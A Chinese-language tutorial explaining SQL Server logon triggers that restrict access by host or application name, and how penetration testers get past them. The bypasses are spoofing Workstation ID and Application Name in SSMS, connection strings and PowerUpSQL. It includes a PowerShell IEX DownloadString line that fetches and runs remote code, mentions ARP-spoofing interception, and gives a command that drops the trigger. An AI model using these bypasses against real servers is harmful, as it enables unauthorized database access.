SQL Server登录触发器绕过技术详解<\/h1>

1. 登录触发器概述<\/h2>
登录触发器是一种特殊的存储过程，在SQL Server身份验证通过后、会话完全建立前执行。主要用于：<\/p>
根据时间限制访问<\/li>
基于主机名限制访问<\/li>
基于应用程序名限制访问<\/li>
限制单个用户的并发会话数<\/li> <\/ul>
2. 创建限制主机名的登录触发器<\/h2>

2.1 查看当前主机名<\/h3>
SELECT<\/span> HOST_NAME()
<\/span><\/span><\/code><\/pre>2.2 创建主机名白名单触发器<\/h3>
CREATE<\/span> TRIGGER<\/span> MyHostsOnly ON<\/span> ALL<\/span> SERVER FOR<\/span> LOGON AS<\/span>
<\/span><\/span>BEGIN<\/span>
<\/span><\/span>    IF<\/span> (
<\/span><\/span>        HOST_NAME() NOT<\/span> IN<\/span> ('ProdBox'<\/span>, 'QaBox'<\/span>, 'DevBox'<\/span>, 'UserBox'<\/span>)
<\/span><\/span>    )
<\/span><\/span>    BEGIN<\/span>
<\/span><\/span>        RAISERROR('You are not allowed to login'<\/span>, 16<\/span>, 1<\/span>);
<\/span><\/span>        ROLLBACK<\/span>;
<\/span><\/span>    END<\/span>
<\/span><\/span>END<\/span>
<\/span><\/span><\/code><\/pre>3. 绕过主机名限制的方法<\/h2>
3.1 使用SSMS伪造主机名<\/h3>

打开"Connect Object Explorer"<\/li>
导航到"Additional Connection Parameters"<\/li>
设置"Workstation ID"属性为白名单中的主机名(如"DevBox")<\/li>
<\/ol>
3.2 使用连接字符串伪造主机名<\/h3>
Data Source=server\<\/span>instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID=DevBox;
<\/span><\/span><\/code><\/pre>3.3 使用PowerUpSQL伪造主机名<\/h3>
# 加载PowerUpSQL<\/span>
<\/span><\/span>IEX (New-Object System.Net.WebClient).DownloadString("https:\/\/raw.githubusercontent.com\/NetSPI\/PowerUpSQL\/master\/PowerUpSQL.ps1"<\/span>)
<\/span><\/span>
<\/span><\/span># 绕过触发器<\/span>
<\/span><\/span>Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()"<\/span> -WorkstationId "DevBox"<\/span>
<\/span><\/span><\/code><\/pre>4. 创建限制应用程序名的登录触发器<\/h2>
4.1 查看当前应用程序名<\/h3>
SELECT<\/span> APP_NAME()
<\/span><\/span><\/code><\/pre>4.2 创建应用程序名白名单触发器<\/h3>
CREATE<\/span> TRIGGER<\/span> MyAppsOnly ON<\/span> ALL<\/span> SERVER FOR<\/span> LOGON AS<\/span>
<\/span><\/span>BEGIN<\/span>
<\/span><\/span>    IF<\/span> (
<\/span><\/span>        APP_NAME() NOT<\/span> IN<\/span> ('Application1'<\/span>,'Application2'<\/span>,'SuperApp3000'<\/span>,'LegacyApp'<\/span>,'DevApp1'<\/span>)
<\/span><\/span>    )
<\/span><\/span>    BEGIN<\/span>
<\/span><\/span>        RAISERROR('You cannot connect to SQL Server from this machine'<\/span>, 16<\/span>, 1<\/span>);
<\/span><\/span>        ROLLBACK<\/span>;
<\/span><\/span>    END<\/span>
<\/span><\/span>END<\/span>
<\/span><\/span><\/code><\/pre>5. 绕过应用程序名限制的方法<\/h2>
5.1 使用SSMS伪造应用程序名<\/h3>

打开"Connect Object Explorer"<\/li>
导航到"Additional Connection Parameters"<\/li>
设置"application name"属性为白名单中的应用程序名(如"SuperApp3000")<\/li>
<\/ol>
5.2 使用连接字符串伪造应用程序名<\/h3>
Data Source=server\<\/span>instance1;Initial Catalog=Master;Integrated Security=True;Application Name=SuperApp3000
<\/span><\/span><\/code><\/pre>或<\/p>
Data Source=server\<\/span>instance1;Initial Catalog=Master;Integrated Security=True;AppName=SuperApp3000
<\/span><\/span><\/code><\/pre>5.3 使用PowerUpSQL伪造应用程序名<\/h3>
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()"<\/span> -AppName SuperApp3000
<\/span><\/span><\/code><\/pre>6. 获取白名单信息的方法<\/h2>
6.1 查看登录触发器源代码<\/h3>
SELECT<\/span> name, OBJECT_DEFINITION(OBJECT_ID) as<\/span> trigger_definition, 
<\/span><\/span>       parent_class_desc, create_date, modify_date, 
<\/span><\/span>       is_ms_shipped, is_disabled
<\/span><\/span>FROM<\/span> sys.server_triggers
<\/span><\/span>ORDER<\/span> BY<\/span> name ASC<\/span>
<\/span><\/span><\/code><\/pre>6.2 检查应用程序代码<\/h3>

反编译.NET或Java应用程序<\/li>
查找连接字符串相关关键字<\/li>
使用工具如JD-GUI和DNSPY<\/li>
<\/ul>
6.3 考察应用流量<\/h3>

使用嗅探工具捕获应用程序启动时的数据库请求<\/li>
分析获取白名单信息的流量<\/li>
<\/ul>
6.4 使用域系统列表<\/h3>

查询Active Directory获取域计算机列表<\/li>
遍历测试可能的白名单主机名<\/li>
<\/ul>
6.5 使用MITM记录连接<\/h3>

通过ARP欺骗拦截连接<\/li>
记录已连接的主机名(注意加密连接的限制)<\/li>
<\/ul>
7. 安全建议<\/h2>


不要依赖客户端可控信息<\/strong>：避免仅基于客户端可修改的信息(如主机名、应用名)进行访问控制<\/p>
<\/li>

使用更安全的替代方案<\/strong>：<\/p>

使用网络或主机级防火墙规则<\/li>
基于用户组和权限进行访问控制<\/li>
<\/ul>
<\/li>

触发器删除方法<\/strong>：<\/p>
<\/li>
<\/ol>
DROP<\/span> TRIGGER<\/span> MyHostsOnly ON<\/span> ALL<\/span> SERVER
<\/span><\/span><\/code><\/pre>或通过PowerUpSQL：<\/p>
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox"<\/span> -Query 'DROP TRIGGER MyHostsOnly on all server'<\/span>
<\/span><\/span><\/code><\/pre>8. 总结<\/h2>
本文详细介绍了SQL Server登录触发器的工作原理及绕过技术，重点包括：<\/p>

通过"Workstation ID"属性伪造主机名<\/li>
通过"Application Name"\/"AppName"属性伪造应用程序名<\/li>
多种获取白名单信息的方法<\/li>
相关安全建议和最佳实践<\/li>
<\/ul>
这些技术在渗透测试和遗留系统维护中具有实用价值，同时也提醒开发人员不要过度依赖客户端提供的信息进行安全控制。<\/p>